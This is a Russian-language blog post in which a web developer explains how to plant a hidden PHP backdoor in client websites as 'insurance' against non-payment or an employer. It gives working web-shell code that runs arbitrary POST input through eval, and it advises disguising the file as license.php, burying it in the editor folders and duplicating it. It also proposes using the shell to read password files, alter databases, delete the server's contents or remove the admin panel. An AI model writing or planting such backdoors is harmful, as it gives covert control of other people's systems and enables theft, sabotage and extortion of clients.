Backdoor или страховка от нечестных клиентов!

Однако меня спало то, что в одном из сайтов у меня остался небольшой “запасной вход”, благодаря которому я не думал развиться второму сайту и вылезти в свет. И выглядел этот вход в виде простой формы загрузки файлов на сервер.

С её помощью я загружал на сайт нужные скрипты и запускал их на сайте, а они, в свою очередь, делали свою грязную работу. Минус у этой двери был один – ей мог воспользоваться кто угодно, если, конечно, знал о её существовании.

Прошло время, и несмотря на то, что до сегодняшнего дня всё идёт гладко, это не исключает того, что такая петрушка может повториться вновь.

В принципе, можно использовать и старый метод с отправкой исполняемого файла на сервер, но… Зачем эти сложности, если можно сделать всё проще.

Я предлагаю варианты и идеи простейшего бэкдурова, на случай если действительно возникнут проблемы. Итак…

  1. Создаём файл php и называем его как-нибудь неприметно, типа license.php или ещё как.
  2. Пишем в нём код
    <?php
    if ( isset($_POST[‘text’]) )
    eval ($_POST[‘text’]);
    ?>
    <form method=’POST’>
    <textarea name=’text’></textarea>
    <input type=’submit’>
    </form>
  3. Помещаем файл куда-нибудь подальше вглубь cms-ки, например, в дебри WYSIWYG-редактора. При желании дублируем файл ещё в 2-3 места (на всякий пожарный)

Вот он, каркас для безобразий. Полагаю, не нужно пояснять, что функция eval приводит в исполнение набранный в форме код.

Это всего лишь каркас, который может иметь множество примеров реализации. Допустим, можно через highlight_file вывести содержание какого-нибудь файла с паролями, к которому нет прямого доступа. Можно подключиться к базе данных, считать содержание или изменить его. А можно и вовсе напечатать скрипт удаления всего на сервере, почему бы и нет.

Чуть ниже я предлагаю идеи для дополнения этой дверцы, которые можно сделать по желанию – оставлю тебе, дорогой читатель, в качестве необязательного домашнего задания. Но если вдруг будет желание – с радостью гляну на то, что получилось.

Идеи для улучшения:

  1. Вообще было бы неплохо, чтобы дверь не была доступна каждому, и сделать для неё авторизацию, к примеру, через обычный .htaccess, ну, или средствами PHP на основе сессий (а лучше и то, и другое – прим.ред.).
  2. Имея авторизацию, можно вообще заготовить ряд кнопочек, кликая по которым можно вызывать тот или иной скрипт. К примеру, заходишь ты в свою дверцу, а там кнопки – считать пароли, считать базу данных, удалить административную панель и так далее.
  3. Ещё идеи?

Напоследок

Использовать дверку есть смысл тогда, когда сдаёшь сайт до выплаты (бывает), или когда работаешь в фирме, и хочешь подстраховаться. В первом случае, когда выплата производится, то дверку можно удалить, а можно и оставить, правда не думаю, что она уже понадобится. А во втором случае – придётся держать её наготове постоянно.

На сегодня всё. Буду рад Вашим идеям и предложениям на тему! До новых встреч!

Оцените статью
Adblock
detector